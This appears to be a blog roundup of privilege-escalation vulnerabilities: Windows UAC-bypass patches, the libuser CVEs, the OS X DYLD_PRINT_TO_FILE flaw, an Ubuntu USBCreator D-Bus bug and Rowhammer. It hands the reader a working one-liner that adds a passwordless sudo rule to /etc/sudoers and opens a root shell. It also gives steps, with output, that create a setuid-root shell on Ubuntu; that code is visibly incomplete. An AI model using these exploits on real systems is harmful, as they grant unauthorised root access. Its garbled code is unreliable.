The build brings new changes targeting previously exploited dll-hijacking and uac bypass method vulnerabilities.
cliconfg.exe – can no longer be used as target for autoelevation as MS changed it manifest to autoelevate=false.
mmc.exe – event viewer console fixed, dll hijacking no longer works.
fake IIS inetmgr.exe launch from inetsrv appinfo hardcoded directory fixed too – Windows will not allow you to run & autoelevate anything except legit InetMgr.exe from system32\inetsrv directory.
Bypasses alot of the methods used by UACme that is posted in my ::Wiki::
Two security vulnerabilities were found in the userhelper utility, (part of the usermode package) and the libuser library. Authenticated, local users with shell access could combine these vulnerabilities to achieve local privilege escalation to the root user, it lets users change /etc/passwd. These flaws have been assigned CVE-2015-3245 and CVE-2015-3246. Info was released as soon as patch was, better hurry and patch 🙂 Src: http://seclists.org/oss-sec/2015/q3/186
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability: Affects OS X Yosemite v.10.10, the latest stable release, and the beta version 10.10.5 , so many people are affected by this. The flaw is the environment variable called DYLD_PRINT_TO_FILE that was added in Yosemite. It specifies where in the file system a component of the operating system called the dynamic linker can log error messages, and it can be abused by an attacker to modify arbitrary files as root. You can escalate to root privileges by typing this in terminal:
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
On Ubuntu and need to escalate to root and don’t have sudo?
$ cat > test.c
void __attribute__((constructor)) init (void)
chown(“/tmp/test”, 0, 0);
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send –print-reply –system –dest=com.ubuntu.USBCreator
/com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
“Rowhammer” is a problem with some recent DRAM devices in which repeatedly accessing a row of memory can cause bit flips in adjacent rows.
More info: Exploiting the DRAM rowhammer bug to gain kernel privileges